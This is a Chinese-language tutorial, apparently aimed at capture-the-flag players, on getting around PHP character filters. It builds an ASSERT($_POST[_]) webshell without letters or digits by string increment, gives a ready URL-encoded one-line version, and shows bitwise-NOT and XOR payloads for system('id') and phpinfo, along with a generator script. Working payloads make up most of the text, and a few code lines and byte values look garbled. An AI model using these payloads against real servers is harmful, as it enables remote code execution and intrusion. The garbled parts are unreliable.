自增:
也就是說,`'a'++ => 'b'`,`'b'++ => 'c'`... 所以,我們只要能拿到一個變量,其值為`a`,通過自增操作即可獲得a-z中所有字符。
無字母數字構造:
所有敏感字符串(ASSERT、_POST)通過自增動態生成,避免直接出現字母。
超全局變量利用:
通過 $_POST 動態接收攻擊載荷。
動態函數調用:
利用 $___(值為 ASSERT)作為函數名調用。
在PHP中,如果強制連接數組和字符串的話,數組將被轉換成字符串,其值為`Array`:
源碼:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // ASS
$__=$_;
$__++;$__++;$__++;$__++; // E?
$___.=$__;?
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;?
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__; ?// $_POST
$_=$$____;
$___($_POST[_]); // ASSERT($_POST[_]);
放到一排再url編碼之后是:
%24_%3d%5b%5d%3b%24_%3d%40%22%24_%22%3b+%2f%2f+%24_%3d%27Array%27%3b%24_%3d%24_%5b%27!%27%3d%3d%27%40%27%5d%3b+%24___%3d%24_%3b+%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b%24___.%3d%24__%3b+%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24___.%3d%24__%3b+%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24___.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24___.%3d%24__%3b+%24____%3d%27_%27%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b%24__%3d%24_%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b%24__%2b%2b%3b+%24____.%3d%24__%3b+%24_%3d%24%24____%3b%24___(%24_POST%5b_%5d)%3b+
取反:
在 PHP 中,取反(~) 是繞過字符過濾(如禁止字母、數字)實現 RCE(遠程代碼執行)的核心技術之一。其核心思想是通過 位運算 動態構造敏感字符(如 system、eval),從而繞過正則過濾。
源碼:<?php
// 生成取反后的字符串
$func = ~'system'; // "\x8C\x86\x8C\x8B\x9A\x92"
$arg = ~'id'; ? ? ?// "\xA0\x8F"
// 構造 Payload
$payload = "(~\"\x8C\x86\x8C\x8B\x9A\x92\")(~\"\xA0\x8F\");";
echo urlencode($payload);
PHP 中的取反運算符 ~ 會對字符的二進制位進行翻轉(0 變 1,1 變 0)。例如:
~'A' → 結果為 "\xBE"。
若將取反后的字符再次取反,即可還原原始字符:~~'A' → 'A'
1. 目標字符串拆分
執行 system('id'):
system → 拆分為字符 s、y、s、t、e、m。
id → 拆分為字符 i、d。
2. 生成取反后的字符串
通過 PHP 生成取反后的二進制形式:
$func = 'system';
$arg = 'id';
// 取反后的字符串(注意轉義)
$func_neg = ~$func; // "\x8C\x86\x8C\x8B\x9A\x92"
$arg_neg = ~$arg; ? // "\xA0\x8F"
3構造無字母數字的 Payload
<?php
(~"\x8C\x86\x8C\x8B\x9A\x92")(~"\xA0\x8F"); // 等價于 system('id');
異或:
若 A ^ KEY = B,則 B ^ KEY = A。
通過將敏感字符串(如 phpinfo)與固定密鑰(如 0xFF)異或,生成非字母數字字符的 Payload。當服務端對 Payload 再次異或相同密鑰時,即可還原原始字符串并執行代碼。此方法常用于繞過 a-zA-Z0-9 字符過濾規則。
生成異或字符串
需要執行 phpinfo(),按以下步驟生成 Payload:
<?php
$a = 'phpinfo';
for ($i = 0; $i < strlen($a); $i++) {
? ? echo '%' . dechex(ord($a[$i]) ^ 0xFF); // 異或每個字符
}
echo "^";
for ($j = 0; $j < strlen($a); $j++) {
? ? echo '%FF'; // 密鑰部分(全 FF)
}
?>
輸出:%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF
假設服務端存在如下漏洞代碼:
<?php
$input = $_GET['payload'];
list($part1, $part2) = explode('^', $input);
$code = urldecode($part1) ^ urldecode($part2);
eval($code);
?>
URL 解碼:
%8F%97%8F%96%91%99%90 → 二進制值 \x8F\x97\x8F\x96\x91\x99\x90
%FF%FF%FF%FF%FF%FF%FF → 二進制值 \xFF\xFF\xFF\xFF\xFF\xFF\xFF
異或還原:
\x8F ^ \xFF = p ?
\x97 ^ \xFF = h ?
\x8F ^ \xFF = p ?
\x96 ^ \xFF = i ?
\x91 ^ \xFF = n ?
\x99 ^ \xFF = f ?
\x90 ^ \xFF = o ?
最終還原字符串 phpinfo,執行 eval('phpinfo')。
源碼:<?php
function generate_xor_payload($command, $key = 0xFF) {
? ? $encoded = '';
? ? $key_part = '';
? ? for ($i = 0; $i < strlen($command); $i++) {
? ? ? ? $encoded .= '%' . dechex(ord($command[$i]) ^ $key);
? ? ? ? $key_part .= '%' . dechex($key);
? ? }
? ? return $encoded . '^' . $key_part;
}
$payload = generate_xor_payload('phpinfo');
echo "Payload: " . $payload . "\n";
// 輸出:%8F%97%8F%96%91%99%90^%FF%FF%FF%FF%FF%FF%FF
// 發送請求(漏洞 URL 為 http://localhost:3000/flag.php)
$url = 'http://localhost:3000/flag.php?payload=' . urlencode($payload);
file_get_contents($url);
?>
異或繞過技術的核心要點
1. 可逆性
異或運算是 對稱加密 的基礎,兩次異或同一密鑰可還原原始數據:
$original = 'phpinfo';
$key = "\xFF";
$encoded = $original ^ $key;
$decoded = $encoded ^ $key; // 還原為 'phpinfo'
2. 繞過字符過濾
異或后的字符通常是 非字母數字(如 \x8F、\x97),可繞過正則過濾規則:
preg_match('/[a-zA-Z0-9]/', $payload); // 返回 false
3. 動態執行
通過 eval 或 assert 動態執行還原后的代碼:
eval($decoded . '();'); // 執行 phpinfo();